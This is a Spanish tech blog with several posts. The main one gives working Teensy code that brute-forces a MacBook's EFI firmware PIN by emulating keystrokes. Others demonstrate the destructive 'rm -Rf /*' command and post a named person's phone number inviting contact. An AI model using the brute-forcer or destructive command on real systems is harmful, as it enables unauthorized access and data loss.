Actualizado: El código ya fue revisado y esta funcionando, Un usuario me confirmo que lo implemento en su Teensy 3 y le funciono sin problemas, Si lo que deseas es leer el código que funciona sin la historia detrás de este, solo has click aquí.

Teensy v3 usada para el ataque al EFI PIN

Dicen que de los errores se aprende así que quiero compartir este con ustedes para que se les haga mas fácil.



Un poco de historia en este caso.

Recientemente me llego una MacBook Pro que tras tres semanas de haber sido comprada el vendedor se arrepintió del negocio y decidió bloquearla con una pantalla que decía "devuelveme la laptop y te devuelvo el dinero", justo debajo de este mensaje aparecía un candado y cuatro campos que aceptaban solo caracteres numéricos.

Tanto al comprador como a mi nos pareció de mal gusto el gesto que tuvo el vendedor sobretodo cuando este pidió que se le pagara en efectivo. Así se veía justo después de prender la MacBook pro pero antes de formatear:

Captura de pantalla bloqueada por el iCloud PIN de OSX


Manos a la obra.

Como no conocía que intenciones o de lo que era capaz el vendedor decidí formatear el disco a bajo nivel, lo monte en otra maquina y le hice `dd if=/dev/random of=/dev/sdd` como por unos 30 minutos, detuve el proceso y volví a armar la MBP.

Mi sorpresa fue que al querer iniciar desde el disco de OSX para iniciar la re-instalación me salió otra pantalla donde pedía un password, esta vez no tenia limite de caracteres pero seguía siendo numérico. Investigando un poco me di cuenta que los procesos de NVRAM no funcionarían pues esta MBP era muy nueva aunque de todas formas lo intente y corrobore mi teoría.

En algunos foros sugerían que se intente cada combinación manualmente y que algunos les había tomado un par de semanas en sus ratos libres, suena bien, verdad? Pero y si el PIN es el ultimo que intento, cuanto tiempo me tomaría? y si me salto por equivocación algún numero?



Tengo 10.000 problemas pero automatizar un ataque de fuerza bruta al EFI de una Mac no es uno de ellos.

Sabiendo lo disléxico que soy y lo mucho que prefiero caminar por la playa y compartir con mi familia decidir automatizar este proceso. La lógica es simple, un contador del 0 al 9999 que siempre le de formato a la salida en forma de 4 dígitos, no es cosa del otro mundo.

Que hardware puedo usar? que módulos del kernel en Linux tengo que cargar para enviar la data desde una maquina a otra como si fuese un teclado? así se inicia mi búsqueda y mi pronta realización de que necesitaría un hardware especializado para esto.

La mayoría de nuestras computadoras son incapaces de hacer que su controladora USB se identifique como un HID (dispositivo de interfaz humana por sus siglas en ingles) por lo que no podría hacer esto desde mi computadora usando BASH o Python.

Un dispositivo que podría funcionar es una Arduino pero no sin antes armar un shield y el costo de este shield (ya teniendo el breadboard o un protoshield) es de aproximadamente unos $24 sin incluir el envió y los impuestos. La alternativa es el Teensy que con envió e impuesto me costo poco menos de $23.

El Teensy 3 termino siendo el hardware mas efectivo para esta tarea, me hubiese gustado construir el shield requerido para el Arduino pero sin mucho tiempo libre que se diga este no era opción.

Ordene el Teensy 3 por sugerencia de Paul Stoffregen, el me comentaba que la versión 3 (la mas reciente) funcionaba con 3 voltios a diferencia de los anteriores que funcionaban con 5 voltios y que la industria se estaba moviendo hacia dispositivos de 3 voltios por lo que los de 5 voltios quedarían obsoletos pronto.



El código y el ataque

Dos días después de que lo compre ya estaba en en casa y a los pocos minutos ya lo tenia corriendo una version mas simple del codigo final. Esta versión funcionaba sin problemas sobre un editor de texto plano, el detalle esta en que al intentar contra la MacBook Pro de apple no funcionaba, en ocasiones enviaba una tecla, otras enviaba 2 pero parecía nunca enviar el "enter".

Al día siguiente con la mente mas fresca y no después de un turno de 12 horas de trabajo me dispuse a atacar el problema. Alguien en Apple se gasto su tiempo para hacer esta forma de ataque lo mas difícil posible para una maquina pero a la vez lo mas amigable para un humano así que me dispuse a imitar un humano y luego de varios intentos termine con esta versión del código:

#include <usb_keyboard .h>
// This code is licensed under Apache 2.0 License
// http://www.apache.org/licenses/LICENSE-2.0.txt
// Limitation of Liability. In no event and under no legal theory,
// whether in tort (including negligence), contract, or otherwise,
// unless required by applicable law (such as deliberate and grossly
// negligent acts) or agreed to in writing, shall any Contributor be
// liable to You for damages, including any direct, indirect, special,
// incidental, or consequential damages of any character arising as a
// result of this License or out of the use or inability to use the
// Work (including but not limited to damages for loss of goodwill,
// work stoppage, computer failure or malfunction, or any and all
// other commercial damages or losses), even if such Contributor
// has been advised of the possibility of such damages.
// This code is indented for people who are not able to contact
// apple support and I am in no way liable for any damage or
// problems this code might cause.

const int ledPin = 13;
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {
  pinMode(ledPin, OUTPUT);
  delay(10000);
}

void loop(){
  keyboard_modifier_keys = 0;
  if (counter < = 9999){
    delay(8000);
    digitalWrite(ledPin, LOW);
    delay(5500);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    Keyboard.press(pin[1]);
    delay(450);
    Keyboard.release(pin[1]);
    delay(420);
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
      delay(200);
    }
    delay(6000);
  }
  ++counter;
  fakecounter = counter;
}

Como pueden ver evito enviar los cuatro dígitos juntos y asigno distintos valores para esperar entre los eventos de presionar la tecla y soltarla así como también la espera entre dígito y dígito. Luego de unos minutos de prueba note que la MBP había incrementado el tiempo de espera entre intento e intento así que decidí asignar un valor mas alto desde el inicio.

Como no le instale una pantalla para ver por cual numero iba, decidí hacer un script el cual corro desde mi maquina con Fedora 18 que da un aproximado de que combinación esta usando ahora para el ataque. El script es simple y uso la sumatoria de los mili-segundos que estoy pasándole a delay() y el mismo valor mas un segundo, asumiendo que mi tiempo de reacción al iniciar el script es mas lento o que el ejecutar el resto de las instrucciones introduzca alguna demora. Este es el script:

while true do
  clear echo
  date start=`date +%s -d "Wed Jan 16 17:46:00"`
  current=`date +%s`
  echo "Current PIN Between: " | tr '\n' ' '
  echo "($current - $start) / 19.782" | bc | tr '\n' ' '
  echo " and " | tr '\n' ' '
  echo "($current - $start) / 18.782" | bc
  sleep 2
done

Así se vería en ejecución en mi monitor, use el tamaño de fuentes grandes para poderlo ver desde lejos sin forzar la vista.

Foto del shell script que da un estimado de que rango de números se están usando para el ataque


Buenas noticias, Malas noticias.

Lo bueno de automatizar este proceso es que tan solo me tomo cuarenta y ocho horas en enviar las diez mil combinaciones, sin olvidar ninguna y sin repetir ninguna, muchísimo menos que las tres o mas semanas que me hubiese demorado en hacerlo manualmente.

En general estoy contento, no gaste mas de 30 minutos en total programando en un lenguaje con el que no tengo practica y la Teensy funciono sin problemas.

Las malas noticias es que recorrí dos veces todas las combinaciones y no logre entrar. Al parecer al uno cambiar el disco duro, el EFI genera un nuevo password aleatorio de 6 caracteres numéricos o mas lo que en el mejor de los casos me tomaría mínimo 197 días continuos.

Usando un poco de información del vendedor me hubiese gustando intentar distintas combinaciones de su numero de teléfono, fecha de cumpleaños, etc.. pero sin muchos detalles se me es imposible esta opción.

El error estuvo en formatear el disco asumiendo que la restricción estaría solo allí, teniendo hoy en día el disco duro pudiese intentar el ataque de fuerza bruta usando el Teensy al sistema operativo. Mi consejo al comprador fue llevara a corte al vendedor o hablar en una tienda de Apple a ver que respuesta le dan aunque no espero que sea positiva.

Aquí les dejo un vídeo del ataque:



Alternativas un poco mas extremas.

En una conversión con un australiano que es especialista en pentesting macs y atacando el EFI me dice que si consigo una MBP del mismo modelo y le extraigo su firmware pudiese subírselo a la que esta bloqueada usando un programador PIC también me aseguro que el sabe la forma de arrancarla atacando el puerto del thunderbolt pero que desafortunadamente no podía comentar sobre el tema.

Pueden revisar los temas referentes a EFI en su blog via ho.ax y en especial les recomiendo esta presentación para los que tienen curiosidad sobre su trabajo http://ho.ax/posts/2012/10/ruxcon/.



UPDATE: Un bug en el código

Recientemente este articulo fue reseñado en hackaday y varios foros lo que trajo como consecuencia que mas gente revisara mi código y se percataran de un error en este (¿ven la importancia del Código Abierto?).

En las primeras lineas de código estoy enviando pin[1] dos veces y en ningún momento estoy enviando pin[0]. acabo de corregir el código y lo probé en un documento de texto plano, hasta ahora todo parece estar bien, el nuevo código es:

#include <usb_keyboard.h>
// This code is licensed under Apache 2.0 License
// http://www.apache.org/licenses/LICENSE-2.0.txt
// Limitation of Liability. In no event and under no legal theory,
// whether in tort (including negligence), contract, or otherwise,
// unless required by applicable law (such as deliberate and grossly
// negligent acts) or agreed to in writing, shall any Contributor be
// liable to You for damages, including any direct, indirect, special,
// incidental, or consequential damages of any character arising as a
// result of this License or out of the use or inability to use the
// Work (including but not limited to damages for loss of goodwill,
// work stoppage, computer failure or malfunction, or any and all
// other commercial damages or losses), even if such Contributor
// has been advised of the possibility of such damages.
// This code is indented for people who are not able to contact
// apple support and I am in no way liable for any damage or
// problems this code might cause.

const int ledPin = 13; // choose the pin for the LED
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {
  pinMode(ledPin, OUTPUT); // declare LED as output
  delay(10000);
}

void loop(){
  keyboard_modifier_keys = 0;
  if (counter <= 9999){
    delay(8000);
    digitalWrite(ledPin, LOW);
    delay(5500);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    //sending first digit
    Keyboard.press(pin[0]);
    delay(450);
    Keyboard.release(pin[0]);
    delay(420);
    //sending second digit
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    //sending third digit
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    //sending forth digit
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    //sending enter
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
     delay(200);
    }
    delay(6000);
  }
  ++counter;
  fakecounter = counter;
}

La versión actualizada de este sketch para Teensyduio siempre estará en https://github.com/orvtech/efi-bruteforce Yo voy a tratar de mantener también esta pagina al día.

Siéntanse libres de clonarlo, hacer forks y contribuir.

Voy a contactar al dueño del laptop a ver si me la puede enviar de nuevo y comenzar el ataque de nuevo, de esto no ser posible me gustaría escuchar sugerencias de como probarlo.

- Martes 12 de Marzo: Ya he recibido confirmaciones de que este código esta funcionando, Como lo pueden ver en este post de MacRumors:

Miembro de la comunidad confirma que pudo arrancar desde el DVD usando la Teensy 3 para lo que requirió entrar el PIN correcto

El gobierno venezolano se prepara para elecciones regionales con un proxy de Twitter que se presta para ataques de phishing. ¿Que planean al montar un proxy de Twitter?

Como muchos recordaran durante las pasadas elecciones presidenciales de Venezuela parte de la población tuvo problemas para resolver dominios momentáneamente. El usuario final por lo general lo resolvia reiniciando su computadora, simultáneamente muchos sitios que eran favorecidos por opositores sufrieron ataques de DDoS.

Este año con la penetración de las redes sociales y el uso que la comunidad estudiantil de Venezuela le han dado para hacer llegar su mensaje y denuncia de injusticias; el Gobierno Venezolano prepara de nuevo una arremetida.


Repetir como loritos

Como todos saben el candidato presidencial y actual presidente de la república usa el twitter handle @chavezcandanga el cual es controlado por lo que asumo es su comité de P.R.

Este mismo grupo tiene una aplicación compatible con twitter que convierte a cada uno de quienes la usen en robotos (bots) que retuitearan lo que el publique automáticamente. Esto sin contar que cerca del 46% de los seguidores de @chavezcandanga son usuarios que solo tienen un tweet o menos, tienen un seguidor o menos cosa que para mi, los convierte en cuentas falsa y bots.

aplicación RTChavezCandanga alojada en servidores del estado Venezolano para manipular tendencias y generar matrices de opinion.

Para que no quede duda de quien esta detrás de este proxy vamos a consultar la base de datos de registro de dominios la cual la mantiene el mismo estado venezolano.

Pruebas de que es el PSUV el responsable de el dominio detras de todo esto.

Por lo pronto queda claro que es el PSUV (Partido Socialista Unido de Venezuela) el responsable financiero, técnico y administrativo de el dominio detrás de todo esto.


La estocada que se prepara

Lo que me preocupa este momento es que la misma dirección IP que alojael subdominio http://mensajes.chavezcandanga.org.ve/ también aloja un proxy a twitter que hasta ahora no contiene código malicioso (que yo vea). Pero no quiere decir que esto vaya a cambiar días antes de las elecciones o durante.

En estos momentos pueden verlo por ustedes mismos pero en caso de que CONATEL (ente que controla esta IP) tumbe el proxy, la pagina que distribuye la aplicación para enviar enviar spam en twitter y quien sabe que mas, aquí les dejo unas capturas de pantalla.

Proxy a twitter alojado en servidores del gobierno del estado Venezolano

Como ven la IP en cuestion es 190.202.80.20 y que difieren de las IPs de twitter como pueden ver:

host twitter.com | grep address
twitter.com has address 199.59.149.230
twitter.com has address 199.59.150.39
twitter.com has address 199.59.148.82

Investigando un poco mas a fondo podemos ver que de hecho la IP que aloja este proxy a twitter de hecho apunta a otro dominio:

Proxy a twitter alojado en servidores del gobierno del estado Venezolano

Para los que se están preguntando la fuente de esta noticia o como me entere, al parecer un seguidor de un contacto en twitter fue el que dio con esta "coincidencia" como pueden ver en este tweet:



Update: Diciembre 15, 2012

Aun http://190.202.80.20 apunta a un proxy de Twitter aunque sigue sin código malicioso deben estar pendientes para las elecciones regionales en Venezuela a celebrarse el Domingo 16. Recomiendo que sigan atentos a los certificados SSL y eviten usar sus credenciales si "misteriosamente" Twitter.com se las pide y la URL no tiene el prefijo HTTPS.

Se que a muchos les da curiosidad ver que sucede cuando intentamos eliminar de forma recursiva todos los archivos y directorios del directorio raíz de nuestro sistema así que aproveche de hacer un video precisamente ejecutando rm -Rf /* como root. Aquí pueden ver el video:

Como ven las consecuencias son visibles tan pronto empezamos a ejecutar este comando y si se fijaron hay directorios que no son eliminados.

Estos directorios como es el caso de /proc residen en memoria y no pueden ser eliminados mientras que otros como /var contienen directorios que a su vez residen en memoria con es el caso de /var/tmp en mi instalación de Fedora.



Post-análisis luego del rm -Rf /

En vista de que me han preguntado varias veces y muchos han especulado sin realmente tener pruebas me decidi a averiguar en que estado quedaba el sistema operativo. ¿Que archivos y directorios sobrevivieron?

Para responder esto simplemente monte el disco duro viejo en otra instalación de linux y ejecute find /mnt/oldhdd -type lo que arrojo como resultado:

/mnt/oldhdd/
/mnt/oldhdd/sys
/mnt/oldhdd/dev
/mnt/oldhdd/var
/mnt/oldhdd/var/tmp
/mnt/oldhdd/run
/mnt/oldhdd/run/libgpod
/mnt/oldhdd/run/faillock
/mnt/oldhdd/run/setroubleshoot
/mnt/oldhdd/run/openvpn
/mnt/oldhdd/run/plymouth
/mnt/oldhdd/run/wpa_supplicant
/mnt/oldhdd/run/netreport
/mnt/oldhdd/run/mdadm
/mnt/oldhdd/run/cups
/mnt/oldhdd/run/cups/certs
/mnt/oldhdd/run/spice-vdagentd
/mnt/oldhdd/run/sepermit
/mnt/oldhdd/run/abrt
/mnt/oldhdd/run/console
/mnt/oldhdd/run/vpnc
/mnt/oldhdd/run/ppp
/mnt/oldhdd/run/blkid
/mnt/oldhdd/run/setrans
/mnt/oldhdd/run/utmp
/mnt/oldhdd/run/net-snmp
/mnt/oldhdd/run/lock
/mnt/oldhdd/run/lock/dmraid
/mnt/oldhdd/run/lock/lockdev
/mnt/oldhdd/run/lock/ppp
/mnt/oldhdd/run/NetworkManager
/mnt/oldhdd/run/saslauthd
/mnt/oldhdd/run/gdm
/mnt/oldhdd/run/gdm/greeter
/mnt/oldhdd/run/pptp
/mnt/oldhdd/proc
/mnt/oldhdd/boot
/mnt/oldhdd/media
/mnt/oldhdd/tmp

Como ven a excepción de /mnt/oldhdd/run/utmp todos son directorios.

El fin de semana pasado tuve la oportunidad de entrevistar al líder del proyecto Turpial, Wil Alvarez. Las preguntas variaron entre personales y especificas sobre el popular cliente para identi.ca y Twitter.

Me pareció apropiado hacerle seguimiento a algunas reacciones que obtuve de compartir el vídeo tutorial de Turpial que hice hace poco. En su mayoría fueron positivas pero algunas mostraron cierto descontento con detalles del proyecto. Cuando hice énfasis en que es software Venezolano, la respuesta fue "El único venezolano allí es Wil" y la que mas se repitió era algo así como "Si fuese venezolano, su pagina estaría en castellano".

Esta primera serie de preguntas y respuestas son especificamente de Turpial como tal.



¿Hace cuanto que fue creado Turpial o de donde viene Turpial?

Turpial nace aproximadamente en noviembre de 2008. En octubre, por recomendación de Eleazar Meza (@elshaka), abrí mi cuenta de Twitter y estuve usando varios clientes para Linux de la época. Probé Mutter, Gwibber, DestroyTwitter y otros, pero ninguno cubría mis expectativas.

Para ese entonces Gwibber y Mutter carecían de muchas funcionalidades o de una interfaz simple y si bien DestroyTwitter era una de las mejores opciones, no era libre y eso me generaba cierta incomodidad. Decidí entonces desarrollar un cliente de Twitter para mi uso personal con los conocimientos de Python y Gtk que tenía actualmente. Así fue como nació el proyecto.



La gente se queja de que hay mas material en ingles que en español, entiendo que es para usar un idioma "universal". ¿Que le dirías a esa gente que se queja y como pueden colaborar a traducir?

Azrael (@AzraelCcs) redactó un artículo genial sobre este tema (en inglés) con una explicación muy acertada y varios puntos que valen la pena resaltar, así que tomaré la idea principal de su texto para responder a tu pregunta.

Turpial cada día crece más y para nosotros es importante ayudarlo a seguir creciendo y conquistando nuevos horizontes. Les guste o no, el inglés es un idioma común, tanto en ámbitos de programación como para la interacción de muchos pueblos. No podemos tener una mente tan cerrada como para pensar que el único idioma que se habla es el español ni mucho menos pretender imponer el idioma español como base para la aplicación porque, repito: les guste o no, el inglés es el idioma más hablado fuera de nuestras fronteras.

Gracias a la decisión que tomamos de pasar toda la plataforma a inglés logramos captar a nuestro gran amigo Andrea Stagi (@4ndreaSt4gi) que ha estado trabajando fuertemente con nosotros en el código de Turpial y muchas otras colaboraciones, donaciones e incluso noticias y artículos en blogs de todo el mundo.

Podemos asegurarle a la comunidad lo siguiente:

  • No nos estamos vendiendo a una corporación maligna del imperio que usará Turpial como herramienta para subyugar a los pueblos oprimidos.
  • No estamos dejando de dar soporte en español.
  • Vamos a seguir mejorando Turpial en español, inglés, portugués, chino, alemán y en todos los idiomas que podamos (con la ayuda de la comunidad).

Pueden revisar el Timeline de Turpial y se darán cuenta que respondemos preguntas en ambos idiomas pero nuestra plataforma está y seguirá estando en inglés porque en este momento somos pocas personas aportando al código de Turpial y humanamente el tiempo no nos alcanza para también traducir y mantener la plataforma.

Estamos completamente abiertos a recibir colaboraciones para traducir la plataforma, en ningún momento nos hemos cerrado a esa posibilidad, simplemente no nos alcanza el tiempo. Nuestra amiga Nathalie Colina (@Art3mis4) estuvo con ganas de aportar en esto de las traducciones, si están interesados pueden contactarla y tratar de coordinar para que empiecen cuando quieran.



Veremos Turpial en otras plataformas como moviles incluso en otros sistemas operativos? y de ser así, seguirá siendo libre?

Por supuesto. Estamos trabajando para que la versión 2 esté disponible para Windows y para Mac. Luego tenemos planes de portar Turpial 3 para Android, iPhone e incluso Chrome (y Firefox, ¿por qué no?).

Turpial es y seguirá siendo libre. Esa es nuestra consigna y es parte del Zen de Turpial.



¿Se extenderá Turpial a otras redes sociales como el chat de Facebook, IRC o algo de ese estilo?

Por los momentos el único soporte oficial que tenemos es para Twitter e Identi.ca. Sin embargo, estuvimos en conversaciones con César Cotiz para incluir soporte oficial a Plaxed y estamos analizando el soporte para Status.net. Estas dos redes muy probablemente estarán en versiones futuras.

Para el resto de redes sociales estaremos intentando habilitar un sistema de plugins que permita extender la aplicación, pero por nuestra parte no tenemos intenciones de agrandar más el core de Turpial.



¿Cual es la funcionalidades de Turpial que la gente menosprecia mas o que la mayoría desconoce?

La característica que la gente más denigra es la interfaz gráfica, sobre todo la imposibilidad de hacer clic directamente en los enlaces, hashtags o perfiles. Lamentablemente Gtk tiene sus limitaciones y tuvimos que ajustarnos a ellas, es por eso que Turpial 2.0 fue pensado con base en Webkit y así hemos venido trabajando. El cambio en apariencia es simplemente enorme.


¿Cuantas personas trabajan en este proyecto, esas que tu considerarias "Core contributors"?

Actualmente tres: Carlos Guerrero (@guerrerocarlos), Andrea Stagi (@4ndreaSt4gi) y yo (@satanas82).


¿Como pudieran identi.ca y twitter colaborar con Turpial?

Es una pregunta bastante difícil, creo que la mejor forma de colaborar con Turpial (y con cualquier cliente de terceras partes) es tratando de mantener una API estable a lo largo del tiempo y minimizando los controles o reglas que establecen para los terceros.



Aprovechando un la oportunidad aproveche de hacerle unas preguntas un poco mas personales y ya dejando a Turpial de lado, aquí les dejo esta segunda parte de la entrevista a Wil Alvarez.

¿A que edad y como aprendiste a programar?

Empecé a los 18 años. Mi sueño siempre fue hacer juegos de computadoras y por eso aprendí. En una época desarrollé unos cuantos juegos usando Pygame pero aún no siento mi sueño realizado.


¿Que es lo que mas te consume tiempo de Turpial, esas tareas que quisieras delegar?

Principalmente las que yo llamo "tareas administrativas o de relaciones públicas". Todo lo que es responder correos, atender consultas, escribir noticias, artículos de la wiki; son cosas que me gusta hacerla, sobre todo responder correos, pero el tiempo no me da para todas. Me gusta responder a los usuarios porque de esa forma se rompe un poco esa barrera entre el usuario y el programador, le demuestro a la gente que estamos a la distancia de un correo, que los escuchamos y que realmente nos interesa y nos nutren sus opiniones.


¿Trabajas en otros proyectos que nos puedas comentar un poco?

En estos momentos mi empleo me está consumiendo gran parte del tiempo así que no he podido dedicarme a otras cosas. Tengo pendientes un par de proyectos y algunos juegos (sobre todo cosas tipo frameworks) para generar aplicaciones pero todo eso está en stand-by.

¿identi.ca o Twitter?

Twitter.


¿Entiendo que actualmente estas en Argentina, como ves la movida del software libre y la comunidad por alla?

Bueno, estuve en Argentina hasta hace una semana (ahora estoy en Chile) pero la movida del SL es muy interesante, la comunidad de Python de Argentina es una de las más activas que he podido conocer y tiene un montón de desarrolladores de gran nivel (o "grosos", como dirían allá). También tienen una comunidad de Mozilla bastante activa y pues, el SL se mueve un montón allá.

En estos días me toco recuperar mi VPS vía consola remota, al revisar el /var/log/messages me di cuenta de el Out of Memory Killer (OOM Killer) había hecho de las suyas al quedarse sin memoria. Luego de analizar detenidamente los logs y me di cuenta que fue una combinación de factores, Google, Yahoo y Yandex me estaban indexando tanto este blog como unos foros de autos que alojo en este servidor al mismo tiempo.

El script para descargar torrents estaba corriendo al igual que el torrent tracker y alguien me estaba haciendo flood vía IRC en freenode puede había dejado irssi conectado.

El OOM Killer tiene un algoritmo que decide que procesos son los mejores para aniquilar sin embargo es posible manipular estos valores y dejarle saber al OOM Killer que procesos prefieres que mate primero. Para automatizar esta tarea hice un script que nos ayudara con esta tarea:

for programas in SCREEN irssi top
  do for pid_of_oomk_candidate in `pidof -x $programas`
    do echo 10 > /proc/$pid_of_oomk_candidate/oom_adj
    done
 done

Como ven el script anterior agrega 10 al OOMK score a los procesos que menos me interesan permanezcan vivos cuando me quede sin memoria mientras que el siguiente hará exactamente lo contrario, mantendrá vivo un poco mas estos procesos:

for programas in mysqld portsentry iptables
  do for pid_of_oomk_candidate in `pidof -x $programas`
    do echo -5 > /proc/$pid_of_oomk_candidate/oom_adj
  done
done

echo -17 > /proc/`pidof -s sshd`/oom_adj

En este ultimo mysql portsentry y iptables tendrán cinco puntos de ventaja en relación con el resto de los candidatos y si se fijan en la ultima linea estamos asegurándonos que sshd no sea candidato bajo ninguna circunstancia.


Automatizar el ajuste del score para el OOM Killer

Ahora unifiquemos estos dos scripts y demosle un poco mas de flexibilidad, estoy seguro que hay gente que prefiere asignarle a irssi un valor distinto de screen. Lo primero que necesitaremos es un script de configuración, vamos crearlo en /etc/candidatos_oomk.conf y el contenido se debería de ver algo así:

# Programas que queremos sacrificar, entre mas alto el valor
# mas peso tienen en la lista de candidatos.
irssi 4
SCREEN 3
smtpd 2
apache2 1

# Programas que queremos salvar, estos tendrán valores negativos
portsentry -2
mysqld -5
sshd -17

El script al que le puse de nombre oomk_adj_candidatos.sh se veria algo asi:

#!/bin/bash
CONFIGURACION="/etc/candidatos_oomk.conf"
while read programas
  do  proceso=`echo $programas |grep -v \# | grep [0-9]$| awk '{print $1}'`
  ajuste=`echo $programas |grep -v \# | grep [0-9]$| awk '{print $2}'`
  if [ -z "$proceso" ] then
    continue
  else
    echo $proceso
    for pids_proceso in `/bin/pidof $proceso`
      do echo "    echo $ajuste > /proc/$pids_proceso/oom_adj"
    done
  fi done < $CONFIGURACION

El script es simple, leemos el archivo de configuracion linea por linea separamos el nombre del proceso del ajuste que le vamos a hacer guardando cada valor en las variables $proceso y $ajuste. Evaluamos si la variable $proceso esta vacía, y de ser así seguimos con la próxima linea, de lo contrario continuamos procesando esa misma linea. Obtenemos el PID del proceso usando pidof y para cada PID vamos escribir el valor de $ajuste en su archivo oom_adj dentro de /proc.

Pueden colocar este script en su /etc/rc.local o en un cronjob y recuerden que si quieren consultar la lista de candidatos y ver como están sus scrores o saber un poco mas del tema, pueden consultar este articulo: El OOM Killer y manipulación de candidatos.

Mas de una vez he intenten ejecutar sl cuando intentan ejecutar ls para listar archivos y directorios, es un error que todos cometemos pero ¿que pasaria si sl en realidad fuese un comando?. Afortunadamente para nuestro entretenimiento hay una aplicación de nombre sl y consiste en un tren ascii que sale en el terminal cada vez al momento de ejecutar sl. Perfecto para una broma practica, instalarlo en un servidor que muchas personas usan y esperar a escuchar los cuentos.

Aquí les dejo un video que muestra como instalarlo y como se ve al momento de ejecutarlo.


En caso de que no puedas ver el video, puedes instalar esta aplicación ejecutando:

su - yum install -y sl

Como ven es inofensivo, o por lo menos menos inofensivo que un ualias a rm -Rf /*, de hecho un compañero de trabajo fue el que me comento sobre esta broma practica. La aplicación sl esta disponible para OSX a través del manejador de paquetes brew.

Uno de los juegos mas clásicos es el de Príncipe de Persia, de hecho fue uno de los que mas jugué cuando era chamo.

Hoy encontré como jugarlo de nuevo usando el emulador de DOS DOSBox. Este emulador esta optimizado para videojuegos que en un principio fueron diseñados para correr sobre MS-DOS y esto es justo lo que estamos buscando. Aproveche y les hice un vídeo de menos de 3 minutos que les explica como instalarlo, aquí se los dejo.

En caso de que no hayan captado algunos detalles en el vídeo cree un grupo de secuencias de comandos que les ayudara a dejar corriendo el juego Prince of Persia en Fedora, en mi caso estoy usando Fedora 17.

Esta seria la primera secuencia de comandos para dejar Prince of Persia instalado en nuestro Fedora.

su -
yum install dosbox -y
exit
mkdir ~/games
firefox http://www.bestoldgames.net/eng/old-games/prince-of-persia.php

Como ven lo que estamos haciendo es instalando DOSBox, creando un directorio donde tendremos nuestro juegos y abriendo FireFox en la pagina para descargar el juego como tal. Una vez en la pagina, descargamos el juego, lo copiamos a la carpeta ~/games y lo descomprimimos.

cp ~/prince*zip ~/games
cd ~/games
unzip ~/prince*zip
rm ~/prince*zip

Ahora vamos a arrancar DOSBox y una vez dentro del emulador vamos a montar ~/games como si fuese la unidad C y arrancamos el juego.

Recuerde remplazar /home/usuario/games por la ruta completa a su directorio home.

En la República Bolivariana de Venezuela o estas con Chavez o te mueres de hambre.

Desde que inicie este blog jure evitar hablar de política y voy a hacer lo posible por mantenerlo así pero hoy vi algo que al principio no supe si reír o llorar, lo cierto fue que me dio pena ajena. Por mucho que traten de convencernos de que "Venezuela ahora es de todos", debes tener cierta tendencia política para poder conseguir empleo, para muestra les dejo esta captura de pantalla.

Una muestra de la discriminación politica en Venezuela. Tomado de la plataforma colaborativa colabora.softwarelibre.gob.ve

Esto explica el por que no hay gente técnicamente calificada atendiendo la infraestructura de la nación, la Internet falla, el sistema eléctrico claramente no esta a la altura de una nación perteneciente a la OPEP y la producción petrolera ha caído, el sistema de salud esta lo suficientemente mal para que el actual mandatario se vaya a tratar a otros países.

No es solo la inclinación política, esta oferta de trabajo claramente discrimina por edad y genero. Una oferta como esta en países desarrollados (donde el sistema judicial si funciona) no duraría mucho antes de una demanda civil.

La URL de esta oferta de trabajo es http://colabora.softwarelibre.gob.ve/home/oferta-laboral y se promociona por Facebook y Twitter como se puede ver en este tweet:


Esta captura de pantalla es del 3 de agosto del 2014, meses después de la nefasta oferta de trabajo mencionada anteriormente, como ven no ha cambiado en nada, Eduardo José Zambrano Rivero claramente dice que no aceptaran a aquellos que hallan ejercido su derecho a firmar en un referéndum consultivo en un grupo de discusion de Software Libre.

Eduardo José. Zambrano Rivero. Telefono 58 + 0416/9798109

Si tienen algún comentario para el Sr. Jose Rivero pueden dejárselo saber por las vias de comunicación mencionadas en la captura de pantalla.

Muchos pensaron que habíamos ganado la batalla cuando derrotamos SOPA pero la realidad es que lo hemos perdido todo. Con el pretexto de proteger la propiedad intelectual, derechos de autor y "economía creativa" nos han criminalizado a todos sin excepción con la aprobación de C.I.S.P.A.

Con CISPA tu tienes que demostrar que eres inocente

El problema va mucho mas allá de poder o no compartir data como este articulo. Supongamos que bajo CISPA el dominio pablodelospalitos.info se convierte en un infractor bien sea por que es un nodo que permite a usuarios compartir contenido que puede o no tener copyright o por que tienen un modelo de negocio que la RIAA y la MPAA no le gusta (así como thepiratebay y megaupload respectivamente).

Sin importar si la nacionalidad y residencia de estas empresas y fundadores es de un país en el cual esto no es un delito, pongamos de ejemplo Dinamarca y Nuevazelanda, estos dominios serán considerados infractores, los empleados y duenhos serán perseguidos y encarcelados sin un debido proceso y los dominios a los dominios les quitan las entradas de DNS y bloquean sus IPs en algunos ISPs.

El pequeño inconveniente

El problema a la hora de esforzar CISPA esta en que las IPs 194.71.107.50 y 66.71.182.142 aun son accesibles directamente o mediante proxies.

¿Se dan cuenta del problema? Un detalle que no se comenta mucho es que los grandes de esta industria decidieron definir su contenido como "material protegido e incopiable" cuando la realidad es que su data se puede duplicar como cualquier otro tipo de data y no esta protegida. Esto es lo que hacen los computadores, leen, procesan, modifican y copian bits, así funcionan!

Afirmar que su data es "incopiable", es como decir que venden agua seca y definan que es ilegal transformarla en agua normal y corriente.

